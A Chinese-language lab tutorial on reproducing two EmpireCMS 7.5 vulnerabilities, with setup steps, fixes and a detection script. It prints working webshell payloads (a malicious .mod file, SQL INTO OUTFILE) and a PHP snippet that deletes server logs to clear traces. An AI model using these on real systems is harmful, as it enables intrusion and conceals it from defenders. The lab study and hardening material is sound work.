EmpireCMS 7.5靶场实战:环境配置与漏洞深度解析

在网络安全领域,实战演练是掌握漏洞原理最有效的方式之一。EmpireCMS作为国内广泛使用的内容管理系统,其7.5版本存在的多个安全漏洞成为学习Web安全的经典案例。本文将带您从零开始搭建完整的测试环境,并深入分析两个高危漏洞的形成机制与利用方式。

1. 基础环境搭建

1.1 组件准备与初始化

搭建EmpireCMS测试环境需要以下核心组件:

  • PHPStudy 8.1:集成Apache/MySQL的运行环境
  • EmpireCMS 7.5 GBK版:漏洞复现的目标系统
  • MySQL 8.0:数据库服务

注意:所有实验应在隔离的虚拟机环境中进行,避免对生产系统造成影响

安装流程的关键步骤:

  1. 解压EmpireCMS安装包至PHPStudy的WWW目录(如D:\phpstudy_pro\WWW\EmpireCMS)
  2. 启动Apache和MySQL服务
  3. 访问安装向导http://localhost/EmpireCMS/upload/e/install/index.php
  4. 根据向导完成数据库配置

常见问题解决方案:

问题现象可能原因解决方法
安装页面空白PHP版本过高切换至PHP5.6版本
数据库连接失败MySQL认证方式不兼容在MySQL命令行执行:ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '密码';

1.2 系统配置优化

完成基础安装后,建议进行以下安全配置调整:

# 修改默认后台路径
mv /upload/e/admin/ /upload/e/admin_secure/

# 关闭调试模式
修改 /upload/e/config/config.php:
$ecms_config['sets']['debug'] = 0;

这些修改不会影响漏洞复现,但能提高实验环境的安全性。

2. CVE-2018-18086漏洞深度解析

2.1 漏洞形成机制

该漏洞存在于模型导入功能中,关键问题点位于/e/class/moddofun.php文件的LoadInMod函数:

function LoadInMod($add,$file,$file_name,$file_size,$userid,$username){
    //...
    $path = ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
    @include($path);  // 危险的文件包含操作
    //...
}

漏洞利用需要满足三个条件:

  1. 文件扩展名必须为.mod
  2. 数据库表名不能已存在
  3. 文件内容会被直接包含执行

2.2 完整利用流程

实战操作步骤:

  1. 准备恶意.mod文件:
<?php 
file_put_contents("shell.php", "<?php eval(\$_POST['cmd']);?>");
?>
  1. 访问后台路径/e/admin/ecmsmod.php

  2. 在"导入系统模型"界面:

    • 表名填写不存在的名称(如test123)
    • 上传修改后的.mod文件
  3. 漏洞触发后会在网站根目录生成webshell:

curl -X POST -d "cmd=phpinfo();" http://localhost/shell.php

2.3 安全防护方案

开发层面应采取的修复措施:

  1. 文件内容校验:
$allowed_content = ['<?php', '<?=', '<? '];
foreach($allowed_content as $pattern){
    if(strpos(file_get_contents($path), $pattern) !== false){
        unlink($path);
        die('非法文件内容');
    }
}
  1. 禁用动态包含:
// 替换危险的include操作
$mod_data = parse_mod_file($path);  // 自定义安全解析函数

3. CVE-2018-19462漏洞剖析

3.1 SQL注入到代码执行

该漏洞出现在数据库管理模块,攻击链如下:

  1. 通过SQL查询获取Web目录绝对路径
  2. 利用SELECT INTO OUTFILE写入PHP文件
  3. 执行任意系统命令

关键漏洞代码位于/e/admin/db/DoSql.php:

function DoRunQuery($sql){
    //...
    $empire->query($query); // 未过滤的SQL执行
    //...
}

3.2 分步利用演示

  1. 获取网站绝对路径:
SELECT @@basedir;  -- MySQL安装路径
SELECT @@datadir;  -- 数据存储路径
  1. 构造恶意SQL语句:
SELECT '<?php system($_GET["c"]);?>' 
INTO OUTFILE 'D:/phpstudy_pro/WWW/EmpireCMS/shell.php'
  1. 验证利用成功:
curl "http://localhost/shell.php?c=whoami"

3.3 多维防御策略

数据库安全加固方案:

  1. MySQL配置优化:
[mysqld]
secure_file_priv = /tmp
  1. 代码层防护:
function filter_sql($query){
    $blacklist = ['outfile', 'dumpfile', 'char(', 'load_file'];
    foreach($blacklist as $keyword){
        if(stripos($query, $keyword) !== false){
            return false;
        }
    }
    return $query;
}

4. 漏洞组合利用实战

4.1 权限提升链条

结合两个漏洞可以实现更复杂的攻击场景:

  1. 通过CVE-2018-18086上传WebShell
  2. 利用WebShell执行数据库备份操作
  3. 在备份过程中触发CVE-2018-19462
  4. 最终获取服务器系统权限

4.2 自动化利用脚本

以下Python脚本演示自动化漏洞检测:

import requests

def check_vulnerability(url):
    # 检测18086漏洞
    test_file = {'file': ('test.mod', '<?php echo "vuln_check";?>')}
    data = {'tbname': 'rand_table_123'}
    response = requests.post(f'{url}/e/admin/ecmsmod.php', files=test_file, data=data)
    
    if 'vuln_check' in response.text:
        print('[+] CVE-2018-18086 vulnerable')
    
    # 检测19462漏洞
    sql = "SELECT '<?php echo \"vuln_check\";?>' INTO OUTFILE '/tmp/test.php'"
    response = requests.get(f'{url}/e/admin/db/DoSql.php?query={sql}')
    
    if 'DoExecSqlSuccess' in response.text:
        print('[+] CVE-2018-19462 vulnerable')

4.3 痕迹清理技巧

渗透测试后应清理的日志文件:

  • Apache访问日志:/logs/access.log
  • EmpireCMS操作日志:/e/data/log/
  • MySQL查询日志:/mysql_data/general_log.log
# 使用WebShell清理日志示例
<?php
array_map('unlink', glob('/e/data/log/*.php'));
unlink('/logs/access.log');
?>

更多推荐